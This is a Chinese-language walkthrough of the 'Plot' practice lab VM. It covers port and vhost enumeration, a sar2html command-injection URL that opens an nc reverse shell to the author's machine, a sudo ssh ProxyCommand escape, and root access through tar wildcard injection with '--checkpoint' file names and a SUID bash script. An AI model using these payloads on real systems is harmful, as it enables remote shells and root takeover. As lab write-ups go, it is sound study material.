# 靶场搭建
靶场下载:Plot
下载、导入、Nat
IP: 192.168.1.131
# 渗透过程
# 信息初收集
PORT STATE SERVICE VERSION | |
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | |
| ssh-hostkey: | |
| 3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA) | |
| 256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA) | |
|_ 256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519) | |
80/tcp open http Apache httpd 2.4.56 ((Debian)) | |
|_http-title: Apache2 Debian Default Page: It works | |
|_http-server-header: Apache/2.4.56 (Debian) | |
MAC Address: 00:0C:29:C8:56:BD (VMware) |
nikto 发现了一个自定义的 header,里面有一个域名
+ /: Uncommon header 'x-custom-header' found, with contents: pl0t.nyx. |
尝试添加到 host 里面去
做信息收集没有任何变化 ==、乌鱼子了
也许还有别的域名?用 gobust 看看
┌──(root㉿kali)-[~] | |
└─# gobuster vhost -u pl0t.nyx -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain |
得到了一个子域 sar.pl0t.nyx
,也添加到 host 中
打开看发现了 CMS: sar2html Ver 3.2.1
搜索,发现了漏洞。
OJ8K 直接利用: http://sar.pl0t.nyx/index.php?plot=;nc%20-c%20/bin/bash%20192.168.1.129%204444;
拿到 shell
# 提权
sudo -l
发现有 ssh 权限
先提升交互
< sudo -u tony ssh -o ProxyCommand=';sh 0<&2 1>&2' x |
拿到 tony 的 shell,但是都很干净,所以有点雾水
看了 wp 发现是要监视进程,自己上传 pspy64 进行监视
有定时任务,一般定时任务会在整点触发,所以要等待一下。
可以看到定时任务里面有一个 tar 的任务,搜一下 tar 的 cron 利用方式
payload: tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
构造这个 checkpoint 就可以,这就涉及到这个 cf
参数和通配符的问题了
当我们 touch 一个文件的时候,如果名字叫 -al
那么 ls *
就成了 ls -al
用这个原理我们可以构造一个文件名叫 --checkpoint
的,加上恶意参数,触发这个 tar 的 break out
tony@plot:/var/www/html$ touch -- "--checkpoint=1"
tony@plot:/var/www/html$ touch -- "--checkpoint-action=exec=sh script.sh"
创建一个 script.sh 写入一个 chmod +s /bin/bash
,设置个 x 权限,等计划任务一过 bash -p
就 root 了
注意文件要都在 /var/www/html
下!
# 小结
新知识 *
的妙用